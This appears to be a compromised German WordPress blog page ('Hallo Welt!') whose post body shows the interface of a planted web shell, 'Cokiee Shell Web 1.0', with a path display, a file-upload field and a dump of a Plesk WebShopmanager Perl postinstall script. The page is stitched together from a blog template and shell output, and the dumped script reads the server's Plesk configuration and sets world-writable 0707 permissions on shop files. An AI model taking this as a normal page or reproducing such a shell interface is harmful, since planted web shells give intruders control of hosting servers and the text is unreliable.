Hallo Welt!

von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare

Cokiee Shell

Current Path : /usr/local/siteapps/WebShopmanager-2.0-11/scripts/

Upload File :

Current File : //usr/local/siteapps/WebShopmanager-2.0-11/scripts/postinstall

#!/usr/bin/perl -w

use strict;
use File::Path;
use File::Copy;

my %params;
my %psa_params;
my @imp_params = qw( vhost_path domain_name install_prefix ssl_target_directory );
my $is_error=0;

sub print_out
{
    my ($text) = @_;
    print STDERR $text;
}

sub check_parameter
{
    my ($param) = @_;
    unless (defined $params{$param}){
        return 0;
    } else {
        return 1;
    }
}
sub modify_file
{
    my ($fname, $fparams) = @_;

    unless (open F, $fname){
        print_out "postinstall: can't open file `$fname` for reading\n";
        return 0;
    }

    my $file_content;
    while (<F>){
        $file_content .= $_;
    }
    close F;

    my ($k,$v);
    while (($k,$v)=each(%$fparams)){
        $file_content =~ s/\@\@${k}\@\@/$v/g;
    }

    unless (open F, ">$fname"){
        print_out "postinstall: can't open file `$fname` for writing\n";
        return 0;
    }
    print F $file_content;
    close F;
    return 1;
}
sub mysql_quote
{
    my @params = @_;
    my $size = @params;
    if (0 == $size) {
        return;
    }

    my $i;

    for ($i=0; $i<$size; $i++) {
        unless (defined $params[$i]) {
            $params[$i] = '';
        } else {
            # replace ' for \'
            # replace \ for \\
            $params[$i] =~ s/\\/\\\\/g;
            $params[$i] =~ s/'/\\'/g;
        }
    }
    if (wantarray( )) {
        return @params;
    } elsif (defined wantarray( )) {
        return $params[0];
    } else {
        return;
    }
}
sub php_quote
{
    my @params = @_;
    my $size = @params;
    if (0 == $size) {
        return;
    }

    my $i;

    for ($i=0; $i<$size; $i++) {
        unless (defined $params[$i]) {
            $params[$i] = '';
        } else {
            # replace ' for \'
            # replace \ for \\
            $params[$i] =~ s/\\/\\\\/g;
            $params[$i] =~ s/'/\\'/g;
        }
    }
    if (wantarray( )) {
        return @params;
    } elsif (defined wantarray( )) {
        return $params[0];
    } else {
        return;
    }
}

sub shell_quote
{
    my @params = @_;
    my $size = @params;
    if (0 == $size) {
        return;
    }

    my $i;

    for ($i=0; $i<$size; $i++) {
        unless (defined $params[$i]) {
            $params[$i] = '';
        } else {
            # replace ' for \'
            # replace \ for \\
            $params[$i] =~ s/\\/\\\\/g;
            $params[$i] =~ s/"/\\\"/g;
            $params[$i] =~ s/\$/\\\$/g;
        }
    }
    if (wantarray( )) {
        return @params;
    } elsif (defined wantarray( )) {
        return $params[0];
    } else {
        return;
    }
}


# parse input to hash
while (<STDIN>){
    my ($k,$v);
    if (/^([^=]+)=(.+)$/){
        $v = $2;
        chomp $v;
        $k = $1;
        $params{"$k"} = $v;
    }
}

# parse plesk config file
open PSACONF, '/etc/psa/psa.conf';
while (<PSACONF>){
    chomp;
    unless (/^#/){
        if (/^(\s*[_a-zA-Z]+)\s+(.+?)\s*$/){
            $psa_params{$1} = $2;
        }
    }
}
close PSACONF;

# check important parameters
foreach (@imp_params){
    unless (check_parameter($_)){
        print_out "postinstall: parameter `$_` not found\n";
        $is_error = 1;
    }
}

if ($is_error){
    exit 1;
}

# check SSL
my $ssl_enable;
my $documents_directory;
if ($params{'ssl_target_directory'} eq 'true'){
    $documents_directory = 'httpsdocs';
    $ssl_enable = "1";
} else {
    $documents_directory = 'httpdocs';
    $ssl_enable = "0";
}


my $root_dir = $params{'vhost_path'}.'/'.$documents_directory.'/'.$params{install_prefix};


chmod 0707, $root_dir . '/admin';
chmod 0707, $root_dir . '/customers';
chmod 0707, $root_dir . '/images';
chmod 0707, $root_dir . '/dbase.txt';
chmod 0707, $root_dir . '/freight.txt';
chmod 0707, $root_dir . '/paytype.txt';
chmod 0707, $root_dir . '/vars.php';

Cokiee Shell Web 1.0, Coded By Razor

Kommentar absenden Antworten abbrechen

Du musst angemeldet sein, um einen Kommentar abzugeben.